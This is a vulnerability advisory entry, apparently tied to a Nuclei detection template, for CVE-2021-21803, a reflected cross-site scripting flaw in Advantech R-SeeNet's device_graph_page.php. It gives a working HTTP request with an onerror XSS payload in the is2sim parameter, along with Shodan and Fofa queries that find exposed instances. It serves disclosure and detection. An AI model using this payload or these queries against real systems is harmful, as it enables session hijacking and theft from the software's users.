| Title | Advantech R-SeeNet - Cross-Site Scripting |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.73892 |
| CVE ID | CVE-2021-21803 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"r-seenet" |
| Fofa Query | body="r-seenet" |
| Tags | cve2021 cve rseenet xss advantech vuln |
Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
GET /php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21803.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21803.pcap
N/AN/A